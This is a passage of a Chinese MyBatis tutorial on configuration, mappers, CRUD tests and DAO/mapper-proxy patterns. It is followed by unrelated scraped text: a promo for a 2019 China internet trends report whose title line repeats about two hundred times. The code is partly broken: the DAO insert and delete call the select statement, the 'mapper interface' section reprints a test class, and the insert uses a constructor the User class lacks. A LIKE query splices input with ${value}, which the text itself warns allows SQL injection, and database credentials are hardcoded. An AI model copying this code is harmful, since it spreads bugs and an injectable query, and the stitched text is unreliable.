  e、借助MappedStatement中的结果映射关系,将返回结果转化成HashMap、JavaBean等存储结构并返回。

   下面是Mybatis的框架原理图

   

3、Mybatis简单实例

   (1)导入相关jar包以及Mybatis运行环境核心jar包和连接数据库的包

  

  (2)创建一张简单的数据表

  

  (3)创建Java对象(PO类型)

 1 package cn.mybatis.po;
 2 
 3 public class User {
 4     private int id;
 5     private String username;
 6     private String password;
 7     private String address;
 8     private String sex;
 9 
10     public int getId() {
11         return id;
12     }
13 
14     public String getUsername() {
15         return username;
16     }
17 
18     public String getPassword() {
19         return password;
20     }
21 
22     public String getAddress() {
23         return address;
24     }
25 
26     public String getSex() {
27         return sex;
28     }
29 
30     public void setId(int id) {
31         this.id = id;
32     }
33 
34     public void setUsername(String username) {
35         this.username = username;
36     }
37 
38     public void setPassword(String password) {
39         this.password = password;
40     }
41 
42     public void setAddress(String address) {
43         this.address = address;
44     }
45 
46     public void setSex(String sex) {
47         this.sex = sex;
48     }
49 
50     @Override
51     public String toString() {
52         return "User{" +
53                 "id=" + id +
54                 ", username='" + username + '\'' +
55                 ", password='" + password + '\'' +
56                 ", address='" + address + '\'' +
57                 ", sex='" + sex + '\'' +
58                 '}';
59     }
60 }

User实体类

 

   (4)创建Mybatis核心配置文档(SqlMapConfig.xml)

  在核心配置文档配置连接数据库的相关信息,(如果是和Spring集成,则可以放在Spring配置文档中进行对数据库的配置)

 1 <?xml version="1.0" encoding="UTF-8" ?>
 2 <!DOCTYPE configuration
 3         PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
 4         "http://mybatis.org/dtd/mybatis-3-config.dtd">
 5 <configuration>
 6     <!--加载资源文档-->
 7 <!--    <properties resource="jdbc.properties"></properties>
 8     &lt;!&ndash;settings配置LOG4J输出日志 &ndash;&gt;
 9     <settings>
10         <setting name="logImpl" value="LOG4J"/>
11     </settings>-->
12     <!--typeAliases配置包的别名-->
13 
14     <!--environments配置了数据库连接,配置了driver、url、username、password属性-->
15     <environments default="development">
16         <environment id="development">
17             <transactionManager type="JDBC">
18                 <!--<property name="" value="" />-->
19             </transactionManager>
20             <dataSource type="POOLED">
21                 <property name="driver" value="com.mysql.jdbc.Driver" />
22                 <property name="url" value="jdbc:mysql:///mybatis01" />
23                 <property name="username" value="root" />
24                 <property name="password" value="123" />
25             </dataSource>
26         </environment>
27     </environments>
28     <!--配置一个SQL语句和映射的配置文档-->
29     <mappers>
30         <mapper resource="UserMapper.xml" />
31     </mappers>
32 </configuration>

Mybatis核心配置文档

 

   (5)创建一个Mapper.xml文档,对应编写所需要的Sql查询操作

 1 <?xml version="1.0" encoding="UTF-8" ?>
 2 <!DOCTYPE mapper
 3 PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
 4 "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
 5 <!--mapper为根元素,namespace指定了命名空间-->
 6 <mapper namespace="test">
 7     <!--定义一个SELECT查询-->
 8     <!--parameterType:指定输入参数的类型-->
 9     <!--#{}表示占位符-->
10     <!--#{id}:其中的id表示的就是接受的输入参数,
11                 参数名称就是id,
12         这里指出:如果输入参数是简单类型,#{}中的参数名可以任意设置(value或者其他名称)-->
13     <!--resultType:指定输出类型(即指定输出结果所映射的Java对象类型)-->
14     <select id="findUserById" parameterType="int" resultType="cn.mybatis.po.User">
15         SELECT * FROM t_user WHERE id = #{id}
16     </select>
17 </mapper>

UserMapper配置文档

 

   (7)创建测试进程,对刚刚编写的select查询进行测试

 1 package cn.mybatis.first;
 2 
 3 import cn.mybatis.po.User;
 4 import org.apache.ibatis.io.Resources;
 5 import org.apache.ibatis.session.SqlSession;
 6 import org.apache.ibatis.session.SqlSessionFactory;
 7 import org.apache.ibatis.session.SqlSessionFactoryBuilder;
 8 
 9 import java.io.IOException;
10 import java.io.InputStream;
11 
12 public class Test {
13 
14     public User findUserById() throws IOException {
15         //得到mybatis配置文档
16         String resource = "SqlMapConfig.xml";
17         //得到配置文档的文档流信息
18         InputStream inputStream = Resources.getResourceAsStream(resource);
19         //创建会话工厂 传入mybatis的配置文档信息
20         SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
21         //通过会话工厂得到SqlSession
22         SqlSession sqlSession = sqlSessionFactory.openSession();
23         //通过sqlSession来操作数据库
24         //第一个参数就是映射文档中statment的id:namespace +statment的id
25         //第二个参数就是制定映射文档中的parameterType类型的参数
26         User user = sqlSession.selectOne("test.findUserById",1);
27         //System.out.println(user);
28 
29         //释放会话资源
30 
31         try {
32             sqlSession.close();
33         } catch (Exception e) {
34             e.printStackTrace();
35         }
36         return user;
37     }
38 
39     public static void main(String[] args) {
40         // TODO Auto-generated method stub
41         Test test = new Test();
42 
43         try {
44             System.out.println(test.findUserById());
45         } catch (IOException e) {
46             e.printStackTrace();
47         }
48 
49     }
50 }

Test测试进程

 

   (8)加入Log4j日志文档

1 ### direct log messages to stdout ###
2 
3 log4j.rootLogger=DEBUG, stdout
4 
5 log4j.appender.stdout=org.apache.log4j.ConsoleAppender
6 log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
7 log4j.appender.stdout.layout.ConversionPattern=%5p [%t] - %m%n

Log4j.properties 

   (9)测试结果

  

 4.其他CRUD操作

  (1)insert操作

  在Mapper文档中添加响应的SQL配置,以及使用MySQL中的LAST_INSERT_ID()函数得到增加的数据的主键值

    <insert id="addUser" parameterType="cn.mybatis.po.User">
        <!--
        现在需要得到刚刚插入的记录中的主键值,只适用于自增主键的情况
        LAST_INSERT_ID()
        keyProperty:将查询到的主键值设置到parameterType指定对象中的那个属性
        order:指定相对于insert的顺序
        resultType:指定映射结果的结果类型
        -->
        <selectKey keyProperty="id" order="AFTER" resultType="java.lang.Integer">
            SELECT LAST_INSERT_ID()
        </selectKey>
        INSERT INTO t_user(id,username,password,address,sex) VALUES(#{id},#{username},#{password},#{address}, #{sex});
    </insert>

  插入数据的日志信息,没有使用sqlSession.commit();之前的日志情况

  

  从上面的图中可以看出,没有添加commit的时候,事务进行了回滚,所以要想添加数据,需要自己手动提交(在没有集成Spring之前)

  

  附上insertUser的函数

 1     public void inserUser()  throws IOException {
 2         //得到配置文档的文档流信息
 3         InputStream inputStream = Resources.getResourceAsStream("SqlMapConfig.xml");
 4         SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
 5         SqlSession sqlSession = sqlSessionFactory.openSession();
 6 
 7         User user = new User("World","1234","武汉市","男");
 8         sqlSession.insert("test.addUser",user);
 9         System.out.println(user.getId());
10         sqlSession.commit();
11         //释放会话资源
12         try {
13             sqlSession.close();
14         } catch (Exception e) {
15             e.printStackTrace();
16         }
17     }

inserUser函数

 

  (2)模糊查询

  首先配置Mapper文档,${}和#{}的简单区别如下:

 1     <!--
 2         模糊查询可能会查询多条记录
 3         resultType:指定的就是查询结果对应的单条记录类型
 4         ${}:表示将输入的参数不加任何的修饰,直接作为字符串拼接在SQL中
 5         但是这样直接拼接,容易导致SQL注入的隐患
 6         ${value}中的value表示接受的输入参数,注意如果输入参数是简单类型,其中的形参只能用value
 7     -->
 8     <select id="findUserByUsername" parameterType="java.lang.String" resultType="cn.mybatis.po.User">
 9         SELECT * FROM t_user WHERE username LIKE '%${value}%'
10     </select>  

  

  使用查询的时候碰到一个小错误,由于之前测试的insert方法,其中在User实体类中添加了有参构造函数,所以出现了下面的错误,分析原因就是:使用Mybatis查询的时候需要在实体类中加入无参构造方法(当然如果实体类本身没有构造函数,就会是默认的无参构造函数)

   

   附上findByUsername的函数实现

 1     public void findUserByUsername()  throws IOException {
 2         //得到配置文档的文档流信息
 3         InputStream inputStream = Resources.getResourceAsStream("SqlMapConfig.xml");
 4         SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
 5         SqlSession sqlSession = sqlSessionFactory.openSession();
 6 
 7         List<User> userList = sqlSession.selectList("test.findUserByUsername","u");
 8         System.out.println(userList);
 9         //释放会话资源
10         try {
11             sqlSession.close();
12         } catch (Exception e) {
13             e.printStackTrace();
14         }
15     }

findByUsername函数实现

 

   (3)删除操作

  首先在Mapper中配置删除的操作

1     <delete id="deleteUser" parameterType="java.lang.Integer">
2         DELETE FROM t_user WHERE id = #{value}
3     </delete>

 

  运行测试进程,同insert中一样,需要手动提交事务,如下面所示

  

  最终结果:

  数据表中删除了编号为10的数据记录

  

  

5.细节整理

  (1)关于示例进程中一些相关类的理解

   a)SqlSessionFactoryBuilder

   用来创建SqlSessionFactory。因为SqlSessionFactory使用了单例模式,所以不需要使用单例模式来管理SqlSessionFactoryBuilder,只需要在创建SqlSessionFactory时 候使用一次就可以

   b)SqlSessionFactory

   会话工厂,用来创建SqlSession。可以使用单例模式来管理SqlSessionFactory这个会话工厂,工厂创建之后,就一直使用一个实例。

   c)SqlSession

   面向程序员的接口,提供了操作数据库的方法。SqlSession是线程不安全的(原因:在SqlSession实现类中除了接口中的操作数据库的方法之外,还有数据域的属性,比如说一些提交的数据等等,所以在多线程并发请求的时候,会导致线程不安全),所以我们可以将SqlSession使用在方法体里面,这样每个线程都有自己的方法,就不会冲突

  (2)Mybatis中mapper映射文档

  如同解释Mybatis执行原理的时候一样,Mapper映射文档中配置的Sql语句,实际上在执行的时候都被封装称为一个个MapperStatment对象,即Mapper映射文档是按照statment来管理不同的Sql。在编写进程的时候,我们在使用SqlSession其中的操作数据库的方法(selectOne,selectList等等)的时候,传入的参数除了实参(id,模糊查询的字符串等等)之外,还需要传入的就是相应的Sql位置,而Sql是被Statment管理,所以就是传入namespace+statmentId

  (3)占位符

   #{id}:其中的id表示的就是接受的输入参数,参数名称就是id,这里指出:如果输入参数是简单类型,#{}中的参数名可以任意设置(value或者其他名称)

   ${value}:表示将输入的参数不加任何的修饰,直接作为字符串拼接在SQL中但是这样直接拼接,容易导致SQL注入的隐患${value}中的value表示接受的输入参数,注意如果输入参数是简单类型,其中的形参只能用value

  (4)别名定义

      ①单个别名的定义

<typeAliases>
        <!--针对单个别名的定义-->
        <typeAlias type="cn.mybatis.po.User" alias="user"></typeAlias>
    </typeAliases>

       定义别名后的使用

  <select id="findUserByIdTest" parameterType="int" resultType="user">
        SELECT * FROM t_user WHERE id = #{id}
    </select>

      ②批量别名的定义

    <typeAliases>
        <!--批量别名定义:Mybatis在定义别名的时候会自动扫描包中的po类,自动的将别名定义为类名(首字母大写或者小写都可以)-->
        <package name="cn.mybatis.po"></package>
    </typeAliases>

  (5)在SqlMapConfig.xml中加载Mapper映射文档的时候,除了通过resource的方式,还可以使用mapper接口加载的方式来实现

      ①首先先注意一点:

      在配置mybatis-config.xml时,其中的节点是有顺序的,配置顺序依次为:

properties/settings/typeAliases/typeHandlers/objectFactory/objectWrapperFactory/plugins/environments/databaseIdProvider/mappers

      ②使用mapper加载的方式,要将mapper接口和mapper配置文档放在同一目录下面,并且文档名称一致,而且要遵循mapper代理的方式进行开发

    <mappers>
        <mapper class="cn.mybatis.mapper.UserMapper"></mapper>
    </mappers>

      

 

 

6.Mybatis开发dao方法简介

  (1)使用dao接口+实现类的方式

   a)首先编写接口,如同一般编写模式方式进行编写

 

 1 package cn.mybatis.dao;
 2 
 3 import cn.mybatis.po.User;
 4 
 5 /**
 6  * 原始Dao方式开发:dao接口+dao实现类的方式
 7  */
 8 public interface UserDao {
 9 
10     //根据id查询信息
11     public User findUserById(int id) throws Exception;
12     //添加信息
13     public void insertUser(User user) throws Exception;
14     //删除信息
15     public void deleteUser(int id) throws Exception;
16 }

dao接口

 

   b)然后编写接口实现

 1 package cn.mybatis.dao.daoImpl;
 2 
 3 import cn.mybatis.dao.UserDao;
 4 import cn.mybatis.po.User;
 5 import org.apache.ibatis.session.SqlSession;
 6 import org.apache.ibatis.session.SqlSessionFactory;
 7 import org.junit.Test;
 8 
 9 public class UserDaoImpl implements UserDao {
10 
11     //使用构造方法注入SqlSessionFactory
12     private SqlSessionFactory sqlSessionFactory;
13 
14     public UserDaoImpl(SqlSessionFactory sqlSessionFactory) {
15         this.sqlSessionFactory = sqlSessionFactory;
16     }
17 
18     @Override
19     @Test
20     public User findUserById(int id) throws Exception {
21         SqlSession sqlSession = sqlSessionFactory.openSession();
22 
23         User user = sqlSession.selectOne("test.findUserById",id);
24 
25         sqlSession.close();
26         return user;
27     }
28 
29     @Override
30     public void insertUser(User user) throws Exception {
31         SqlSession sqlSession = sqlSessionFactory.openSession();
32 //        User user1 = new User("test1","123","洪山区","男");
33         sqlSession.insert("test.findUserById",user);
34         sqlSession.commit();
35         sqlSession.close();
36     }
37 
38     @Override
39     public void deleteUser(int id) throws Exception {
40         SqlSession sqlSession = sqlSessionFactory.openSession();
41 
42         sqlSession.delete("test.findUserById",id);
43         sqlSession.commit();
44         sqlSession.close();
45     }
46 }

dao接口实现类

 

 

   c)Mapper配置文档和SqlConfig配置文档不变

   d)使用Junit进行测试

 

 1 package cn.mybatis.testdao;
 2 
 3 import cn.mybatis.dao.UserDao;
 4 import cn.mybatis.dao.daoImpl.UserDaoImpl;
 5 import cn.mybatis.po.User;
 6 import org.apache.ibatis.io.Resources;
 7 import org.apache.ibatis.session.SqlSessionFactory;
 8 import org.apache.ibatis.session.SqlSessionFactoryBuilder;
 9 import org.junit.After;
10 import org.junit.Before;
11 import org.junit.Test;
12 
13 import java.io.InputStream;
14 
15 public class UserDaoImplTest {
16 
17     private SqlSessionFactory sqlSessionFactory;
18 
19     @Before
20     public void setUp() throws Exception {
21         InputStream inputStream = Resources.getResourceAsStream("SqlMapConfig.xml");
22         sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
23     }
24 
25     @Test
26     public void testFindUserById() throws Exception{
27         //创建UserDao的对象
28         UserDao userDao = new UserDaoImpl(sqlSessionFactory);
29 
30         //调用UserDao的方法
31         User user = userDao.findUserById(1);
32 
33         System.out.println(user );
34     }
35 }

Junit测试

 

 

      e)测试结果

  

   f)原始dao方法的问题

    ①dao接口实现中存在大量的模板方法(即很多重复性的代码 )

    ②调用SqlSession方法的时候将statmentid硬编码了

    ③条用SqlSession方法的时候传入的参数,由于使用泛型,所以在编译阶段不会报错(即使传入参数错误)

  (2)使用Mapper代理的方法(即只需要Mapper接口)

  (a)使用mapper方式的规范

    ①在使用mapper代理的方式中,namespace的值应该是mapper接口的路径

    ②在mapper.java接口文档中的接口方法名称和mapper.xml中的statment的id一致

    ③在mapper.java接口文档中的接口方法的输入参数和mapper.xml中的statment的parameterType一致

    ④在mapper.java接口文档中的接口方法的返回值类型和mapper.xml中的statment的resultType一致

  (b)查询、删除操作实例

    ①编写mapper.xml配置文档,其中包含select和delete的sql配置

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<!--mapper为根元素,namespace指定了命名空间-->
<!--在使用mapper代理的方式中,namespace的值应该是mapper接口的路径-->
<mapper namespace="cn.mybatis.mapper.UserMapper">
    <select id="findUserById" parameterType="int" resultType="cn.mybatis.po.User">
        SELECT * FROM t_user WHERE id = #{id}
    </select>

    <delete id="deleteUser" parameterType="java.lang.Integer">
        DELETE FROM t_user WHERE id = #{value}
    </delete>
</mapper>

mapper.xml配置文档

 

    ②编写mapper接口,按照mapper代理的方式开发规范来编写mapper的接口

 1 package cn.mybatis.testmapper;
 2 
 3 import cn.mybatis.mapper.UserMapper;
 4 import cn.mybatis.po.User;
 5 import org.apache.ibatis.io.Resources;
 6 import org.apache.ibatis.session.SqlSession;
 7 import org.apache.ibatis.session.SqlSessionFactory;
 8 import org.apache.ibatis.session.SqlSessionFactoryBuilder;
 9 import org.junit.After;
10 import org.junit.Before;
11 import org.junit.Test;
12 
13 import java.io.InputStream;
14 
15 
16 public class UserMapperTest {
17 
18     private SqlSessionFactory sqlSessionFactory;
19 
20     @Before
21     public void setUp() throws Exception {
22         InputStream inputStream = Resources.getResourceAsStream("SqlMapConfig.xml");
23         sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
24     }
25 
26     @Test
27     public void testFindUserById() throws Exception{
28 
29         SqlSession sqlSession = sqlSessionFactory.openSession();
30         //得到UserMapper的代理对象
31         UserMapper userMapper = sqlSession.getMapper(UserMapper.class);
32 
33         User user = userMapper.findUserById(9);
34 
35         System.out.println(user);
36     }
37 
38     @Test
39     public void testDeleteUser() throws Exception {
40         SqlSession sqlSession = sqlSessionFactory.openSession();
41         UserMapper userMapper = sqlSession.getMapper(UserMapper.class);
42 
43         userMapper.deleteUser(9);
44         sqlSession.commit();
45     }
46 
47     @After
48     public void tearDown() throws Exception {
49     }
50 }

mapper接口

 

    ③Junit测试

 1 package cn.mybatis.testmapper;
 2 
 3 import cn.mybatis.mapper.UserMapper;
 4 import cn.mybatis.po.User;
 5 import org.apache.ibatis.io.Resources;
 6 import org.apache.ibatis.session.SqlSession;
 7 import org.apache.ibatis.session.SqlSessionFactory;
 8 import org.apache.ibatis.session.SqlSessionFactoryBuilder;
 9 import org.junit.After;
10 import org.junit.Before;
11 import org.junit.Test;
12 
13 import java.io.InputStream;
14 
15 
16 public class UserMapperTest {
17 
18     private SqlSessionFactory sqlSessionFactory;
19 
20     @Before
21     public void setUp() throws Exception {
22         InputStream inputStream = Resources.getResourceAsStream("SqlMapConfig.xml");
23         sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
24     }
25 
26     @Test
27     public void testFindUserById() throws Exception{
28 
29         SqlSession sqlSession = sqlSessionFactory.openSession();
30         //得到UserMapper的代理对象
31         UserMapper userMapper = sqlSession.getMapper(UserMapper.class);
32 
33         User user = userMapper.findUserById(8);
34 
35         System.out.println(user);
36     }
37 
38     @Test
39     public void testDeleteUser() throws Exception {
40         SqlSession sqlSession = sqlSessionFactory.openSession();
41         UserMapper userMapper = sqlSession.getMapper(UserMapper.class);
42 
43         userMapper.deleteUser(8);
44     }
45 
46     @After
47     public void tearDown() throws Exception {
48     }
49 }

Junit测试

    ④查询结果展示

    

    ⑤删除结果展示

    

  

 

关键词:gt lt mybatis sqlsession user mapper id sqlsessionfactory nbsp import

相关推荐:

MyBatis快速入门

Mybatis缓存(1)——–系统缓存及简单配置介绍

mybatis入门(二)—-原始dao的开发和mapper代理开发

mybatis 不集成spring 入门小例子

Mybatis框架入门

Mybatis框架三:DAO层开发、Mapper动态代理开发

mybatis教程(一):简单实现

MyBatis-入门

mabatis之mapper代理开发

Via

Ref.

在“更大的中国”这个范畴里,我们可能都是陌生人。

2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会

有些事情向上,有些事情向下。

有些事情正在饱和,有些事情正在生长。

2019年到2020年,当我们期望于科技和互联网时,我们该期望些什么?

如果“饱和”,已经成为一种实实在在的压力,那么, 中国互联网的“未饱和”部分,到底在哪里?

2019年1月,腾讯·企鹅智库正式发布长达205页的《2019-2020中国互联网趋势报告》。这是一份聚焦于未来两年,市场和用户变迁的最新数据和研究。

当经济增长面临更多的复杂性,行业红利和人口红利已经告别野蛮生长时,我们也许,比中国互联网历程中的任何时刻,都更需要了解我们的用户,特别是那些远方的用户。

我们需要重新认识他们。

因为我们从未真正认识,那个完整意义上的“他们”。

报告核心发现:

(2019-2020互联网中国互联网十六个趋势)

  1. 中国的移动互联网红利正在向新板块迁移;在一二线城市,18-40岁的核心用户中,互联网红利日益稀少;
  2. 老年网民的增长比我们想象的更快,不论规模还是消费能力,他们都有可能成为未来红利中最大的一块;
  3. 在低年龄段上,红利从年轻流向低幼,更多10岁以下儿童及其父母,在互联网上消费内容、购买服务;
  4. 庞大的初中及以下学历网民,对手机很依赖。互联网不仅为他们提供娱乐,还影响着他们的消费和认知;
  5. 五线及以下城市,包括农村,是互联网新热土。那里的年轻人同样习惯了熬夜,拥有更多需要填满的时间;
  6. 中国互联网未来族群化将进一步加速。包括亚文化带来的圈层消费,追星带来的偶像经济;
  7. 宏观经济的走势,将影响网民在互联网上的消费选择(升级或降级),和消费密度(进一步网络化);
  8. 母亲身份网民群体扩大和消费导向转移(从个人到孩子),会给互联网母婴、教育等消费带来更大利好;
  9. 随着新网民进入,移动互联网消费将从“碎片化”转向“板块化”,超长和超短内容收缩,中型内容崛起;
  10. 新技术普遍成熟,将在基础层给互联网创新提供更高效率,但在前端,模式创新的关键还是抓住新网民;
  11. 移动支付将全面普及,把线下零售高效接入互联网体系,整个市场将开启线上线下一体化阶段;
  12. 绕过中间渠道,直接与消费者兑换获客成本的模式会更流行,新网民更分散,更依赖收益驱动的社交触达;
  13. 轻度娱乐,包括休闲类游戏和低门槛视频,在低幼、银发等新网民中更易落地,在接下来有更大机会;
  14. 智能手机对新网民(低幼、银发等)还是复杂,更简单交互,提供特定内容的智能硬件,将迎来机会;
  15. 互联网将孤岛连成大陆,但信息冗余日益严重。未来,服务关系链的“群岛式”产品,有机会崛起;
  16. 视频对图片/文本的侵蚀还将持续并极有可能加速,在新网民中,视频可能是他们触网的第一介质。

以下是报告正文:(205页PPT)

2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
